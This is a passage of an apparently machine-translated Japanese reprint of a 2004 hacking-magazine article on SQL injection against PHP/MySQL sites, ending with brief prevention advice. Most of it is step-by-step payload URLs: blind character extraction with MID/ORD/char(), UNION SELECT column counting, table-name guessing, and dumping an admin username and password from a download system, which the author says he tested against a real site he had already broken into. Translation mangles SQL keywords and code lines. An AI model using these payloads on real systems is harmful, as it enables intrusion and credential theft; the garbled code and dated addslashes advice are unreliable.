    および LEFT(password,2)=char(109,121) 正常に返され、説明は正しいですが、これは効率に影響します。これは整数であるため、比較演算子を使用して比較できます。

    http://127.0.0.1/injection/user.php?userid=1

    と LEFT(password,1)>char(100)
    次に、char() の数値を適切に調整して範囲を決定します。後で、比較演算子を使用して比較することができます。
    http://127.0.0.1/injection/user.php?userid=1

    と LEFT(password,3)>char(109,121,111)

    すでに推測した内容を変更する必要はなく、すぐに完了できます:
    http://127.0.0.1/injection/user.php?userid=1

    および LEFT(password,6)=char(109,121,112,97,115,115)


    次に、mysql> コマンド プロンプトまたは phpMyadmin で実行します。

    文字を選択(109,121,112,97,115,115)


    返されます: mypass


    もちろん、SUBSTRING(str,pos,len) 関数と MID(str,pos,len) 関数を使用して、文字列 str の pos 位置から始まる len 文字の部分文字列を返すこともできます。これはACCESSと同じです。先ほどの例を引き続き使用して、パスワード フィールドの 3 桁目と 4 桁目を推測してみます。3 桁目は p、4 桁目は次のように構成します。
    http://127.0.0.1/injection/user.php?userid=1およびmid(password,3,1)=char(112)
    http://127.0.0.1/injection/user.php?userid=1とmid(password,4,1)=char(97)


    私たちが望んでいた結果が出ました。もちろん、それが面倒な場合は、 ord() 関数を使用するという簡単な方法を使用することもできます。特定の関数については、MYSQL リファレンス マニュアルを参照してください。この関数は、比較可能な整数型のデータを返します。もちろん、比較演算子を使用すると、結果ははるかに速く生成されます。つまり、次のように送信されます。

    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112

    このようにして結果を取得し、char() 関数を使用してそれを復元できます。その他の機能については、実際に試してみてください。紙面の都合上、詳しくは説明しません。

    3. 未知のデータ構造のフィールドとタイプを迅速に判断します

    データ構造を知らないと、UNION を使用してクエリを実行するのは難しくなります。ここでは、UNION の特性を最大限に発揮するために必要な、非常に便利なちょっとしたコツを紹介します。
    例として前の show.php ファイルを見てみましょう。xxx.php?id=xxx という形式の URL が表示された場合、UNION を実行するには、xxx.php によってクエリされるデータ テーブルの構造を知る必要があります。これを送信すると、フィールドがいくつあるかをすぐに判断できます:


    http://127.0.0.1/injection/show.php?id=-1ユニオン選択1,1,1

    「1」の数はフィールドの数を意味します。フィールドの数が異なる場合は、間違いなくエラーが発生します。フィールドの数が判明したら、実際には上記の 1 をいくつかの文字に置き換えるだけで簡単に開始できます。 ただし、magic_quotes_gpc がオンになっているため、引用符は使用できません。古い方法は、char() 関数を使用することです。次のように、char(97) は文字「a」を表します。

    http://127.0.0.1/injection/show.php?id=-1
    union select char(97),char(97),char(97)
    文字列の場合は、通常どおり「a」が表示されます。文字列またはテキストではない場合、つまり整数またはブール値の場合は、図に示すように「0」が返されます。



    判断の基準となる最も重要なものは何ですか?経験は非常に重要であると常々言っていますが、プログラムのコードは常に変化するため、ここではプログラムを作成してテストしました。自分自身。方法はプログラムによって異なります。皆さんも実戦での違いに注意して、柔軟な応用が基本です。
    4. データテーブルの名前を推測します

    未知のデータ構造のフィールドとタイプを迅速に判断することに基づいて、データ構造全体をさらに分析することができます。つまり、UNION 結合クエリを使用する場合、後続のクエリがどれほど「変形」していても、テーブル名を推測できます。クエリは、ステートメントがない限り、上記の質問は正しく返されます。つまり、上記に基づいてテーブル名をさらに推測することができます。たとえば、次のように送信しました。

    http://127.0.0.1/injection/show.php?id=1

    ユニオン選択1,1,1
    通常のコンテンツが返されるということは、このファイルによってクエリされたテーブルに 3 つのフィールドがあり、最後に from table_name を追加することを意味します。
    http://127.0.0.1/injection/show.php?id=1

    メンバーから 1,1,1 を選択するユニオン

    http://127.0.0.1/injection/show.php?id=1管理者からの結合選択1,1,1
    http://127.0.0.1/injection/show.php?id=1ユーザーからの結合選択1,1,1
    テーブルが存在する場合、表示されるべきコンテンツも返されます。テーブルが存在しない場合は、当然エラーが発生します。そのため、私の考えは、最初に脆弱なファイルによってクエリされたテーブルのデータ構造を取得することです。クエリ テーブルの結果を確認してから次に進みます。この手動操作は効率的ではありません。クエリは 1 分以内に実行できます。たとえば、www.***bai.net をテストしています。これについては以下で説明します。例。 しかし、多くの場合、多くのプログラムのデータ テーブルにプレフィックスが付けられるため、複数のプログラムがデータベースを共有できるという問題があります。例:

    サイト記事
    サイトユーザー
    サイト_ダウンロード
    フォーラムユーザー
    フォーラム投稿
    ……



    セキュリティ意識が高い場合は、管理者がテーブル名プレフィックスを付加するため、推測するのが非常に面倒ですが、テーブル名のリストを作成して実行すれば間違いありません。ここでは詳細には触れませんが、混乱をすべて解消するために後で具体的な例を示します ^_^…



    以下は、上記の知識を大まかに検証するために、このサイトを HB (www.***bai.net) と呼ぶ善意の攻撃テストです。システムとダウンロード システムが異なりますが、記事システムがアップグレードされているため、読みません。ダウンロード システムに問題があるのは確かですが、記事を書いているコンピューターがインターネットにアクセスできないため、私はそれを使用しています。同じダウンロード システムで、シミュレートされたテストがローカルで実行されます。実際、私はすでにもっと悪質な手法を使用して HB に侵入していました。
    まず、問題のあるファイル show.php?id=1 を見つけます。すぐにデータ構造とテーブル名を調べて、HB がフィールドとテーブル名を変更したかどうかを確認します。Nightmaul がシステム バージョン 1.0.1 ソフトウェアをダウンロードしたことはすでにわかっていました。情報テーブルには 19 個のフィールドがあるので、次のように送信します。

    http://127.0.0.1/ymdown/show.php?id=1 ユニオン選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1、1、1、1、1

    ここには 19 個の「1」があることに注意してください。通常のページに戻ると、フィールドが変更されていないことが確認できるので、ドラッグをやめて、Night Cat のデフォルトのユーザー データ テーブルが存在するかどうかを確認してみましょう。

    http://127.0.0.1/ymdown/show.php?id=1
    ユニオン選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1 ymdown_user から
    写真に示すように、通常どおりに戻ります。URL が不明な場合は、タイトルを確認してください:



    まあ、この HB は本当に怠惰なので、使用する前にこのような悪いプログラムを修正する方法がわかりません。ただし、使用する前にプログラムを強化する時間がある人は多くありません。ここではないですか?


    http://127.0.0.1/ymdown/show.php?id=1
    ユニオン選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, ymdown_user からの 1,1,1,1,1 (id=1)
    忘れていましたが、ID 1 のユーザーが存在しない場合でも、前のクエリは true であり、データベースのソフトウェア情報は通常どおり返されます。後続のクエリの結果を表示するには、前のクエリを false にするしかありません。 show.php ファイルに次のコードがあることに注意してください:


    if ($id > "0" && $id //正しく実行されるコードは次のとおりです その他:
    echo "

    レコードなし

    n";


    言い換えれば、ID の値がどんなに法外であっても、0 と 999999999 の範囲外にはなりません。HB のソフトウェアは間違いなく 10,000 を超えることはないので、次のように送信します:


    http://127.0.0.1/ymdown/show.php?id=10000
    共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1 (id=1 の ymdown_user から)
    正常に戻り、テーブル内のデータはすべて「1」となり、ID がまだ存在していることがわかります。データが空の場合は不明として表示されるとプログラムが判断するため、データが存在しない場合、ページは不明なデータをすべて返します。 ID が存在することを確認できたので、次はそれが管理者であるかどうかを確認する必要があります:


    http://127.0.0.1/ymdown/show.php?id=10000
    共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, ymdown_user からの 1,1,1,1,1 (id=1 および groupid=1)
    プログラムでは、groupid 1 がスーパー管理者であると規定されているため、すべての正しい情報が返されるため、必要なユーザー名とパスワードを明らかにするために不正なステートメントを直接作成します。 .php はクエリなので、そのデータ構造を確認する必要があります。


    テーブルの作成 ymdown (
    id int(10) unsigned NOT NULL auto_increment, 名前 varchar(100) NOT NULL,
    updatetime varchar(20) NOT NULL,
    サイズ varchar(100) NOT NULL,
    Empower varchar(100) NOT NULL,
    os varchar(100) NOT NULL、
    グレード smallint(6) デフォルト '0' NOT NULL,
    viewnum int(10) デフォルトの '0' NOT NULL,
    downnum int(10) デフォルト '0' NOT NULL,
    ホームページ varchar(100)、デモ varchar(100)、
    簡単なミディアムテキスト、img varchar(100)、
    sort2id smallint(6) デフォルト '0' NOT NULL,
    down1 varchar(100) NOT NULL,
    down2 varchar(100),
    down3 varchar(100),
    down4 varchar(100)、
    down5 varchar(100)、
    主キー (ID)
    );



    ユーザー名とパスワードのデータ型は両方とも varchar であるため、ymdown テーブルのデータ型を varchar にする必要があります。varchar データが int に書き込まれる場合、更新時間の長さのため、当然表示されません (表示が不完全な場合があります。 19個の「1」のうち、名前(ソフト名)にユーザー名、サイズ(ファイルサイズ)を表示してみましょう。 4 番目に、次のように送信します:

    http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1, ymdown_user からの 1,1,1,1,1 (id=1)


    図に示すように、結果として必要なユーザー名とパスワードが正常に返されました。


    テスト結果を確認します

    侵入プロセスはすべて終了しましたが、Black and White が入り口を変更したため、ログインできません。ただし、目的は達成されたため、バックエンドに入る必要はありません。その後、SQL ステートメントを作成して確認し、取得したパスワードが正しいかどうかを次の順序で送信します。
    http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1, ymdown_user からの 1,1,1,1,1 (id=1 および ord(mid(password,1,1))=49) #最初のパスワードを確認してください

    http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,2,1))=50)
    #2番目のパスワードを確認してください
    http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,3,1))=51)
    #3番目のパスワードを確認してください
    http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,4,1))=52)
    #パスワードの4桁目を確認してください
    http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1 (ymdown_user から) (id=1 および ord(mid(password,5,1))=53)
    #5番目のパスワードを確認してください
    http://127.0.0.1/ymdown/show.php?id=10共用体選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1 ymdown_user からの ,1,1,1,1,1 (id=1 および ord(mid(password,6,1))=54)
    #6番目のパスワードを確認してください
    select char(49,50,51,52,53,54) を使用して 123456 を取得します。 わかりました!テストが終了し、結果にエラーがないことが確認されました。説明すると、パスワード自体は 123456 です。 ord() 関数を使用せずに直接推測することもできますが、完全なプロセスを誰もが見ることができるように、より「プロフェッショナル」である必要があります。これは、この記事を書いた後に HB を再テストしたときに撮影したスクリーンショットです:





    注射
    注意事項

    防止は 2 つの側面から始まります。1 つはサーバー、もう 1 つはコード自体です。これは、magic_quotes_gpc を On に設定し、display_errors を Off に設定すること以外の何ものでもありません。 . この記事ではすべてプログラムの問題について触れていますので、プログラム自体から原因を探す必要があります。 PHP が ASP よりも使いやすく安全である場合は、組み込み関数からそれを反映できます。整数変数の場合、問題を解決するには intval() 関数を使用するだけで済みます。クエリを実行する前に、次の例のようにまず変数を処理します。これは非常に安全です。 $id = intval($id); mysql_query("SELECT * FROM 記事 WHERE 記事 ID='$id'");



    または、次のように書きます:

    mysql_query("SELECT * FROM 記事 WHERE 記事 ID=".intval($id)."")


    どのように構築されたとしても、最終的には整数に変換されてデータベースに格納されます。多くの大規模なプログラムはこの方法で記述されており、非常に簡潔です。
    文字列型変数では、組み込み関数 addlashes() も使用できます。この関数は、使用後、すべての ' (一重引用符)、" (二重引用符)、(バックスラッシュ) 文字が無効になります。また、新しいバージョンの php では、magic_quotes_gpc がオンになっている場合でも、addslashes() 関数を使用するときに、次のように競合することはありません。

    $username = addlashes($username); mysql_query("SELECT * FROM members WHERE userid='$username'");


    または、次のように書きます:


    mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")

    addslashes() 関数を使用すると、引用符ペアのエラーを回避することもできます。先ほどの検索エンジンの修復方法は、「_」と「%」を「_」と「%」に直接変換することです。もちろん、addslashes() 関数を使用することを忘れないでください。具体的なコードは次のとおりです:


    $keywords = ラッシュを追加($keywords); $keywords = str_replace("_","_",$keywords);
    $keywords = str_replace("%","%",$keywords);


    ASP のようにいくつかの変数をフィルタリングするために多くのコードを記述する必要はありません。上記のほんの少しのコードだけで、この記事のすべての問題を解決できます。

    追記

    この記事は、2004 年 3 月以来、暇なときに調査し、調査したものです。内容はすべて私が個人的にテストしたものです。まだ技術的な問題がたくさんあります。解決済みですので、間違いや欠落は避けられませんので、修正してください。
    いくつかの条件が満たされていれば、一般にサーバーに侵入できるものもありますが、個人的には PHP+MYSQL
    インジェクションが登場すると予想しています。 一連のツールやテクノロジーも普及し、開発に影響を与えるでしょう。しかし、ツールは単なる武器であり、テクノロジーは魂であるという原則を理解する必要があります。ツールは効率を向上させるだけであり、高度なスキルを意味するものではありません。 この記事を読んでいる頃には、もう大学受験は終わっていると思いますので、夏休みにもう少し突っ込んだ勉強を書きたいと思います。
    より多くの人に PHP+MYSQL の
    インジェクション テクノロジーを理解して習得してもらうために、この記事を書き、公開してもう一度繰り返すことにしました。いかなる国の正当なホストも危険にさらさないでください。また、危険を冒す場合は自己責任で行ってください。
    潜入レベルをクリアするのはとても簡単です
    すべては私のコントロール下にあります
    管理者に近づきます
    今日は気分がかなり違います

    http://www.bkjia.com/PHPjc/631115.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/631115.html技術記事 MySQL による SQL インジェクション 著者: angel 記事の性質: オリジナル 発売日: 2004-09-16 この記事は「Hacker Defense」7 月号に掲載されたものです。転載する場合はその旨を明記してください。書くのに時間がかかってしまったので…
  • 声明:
    この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。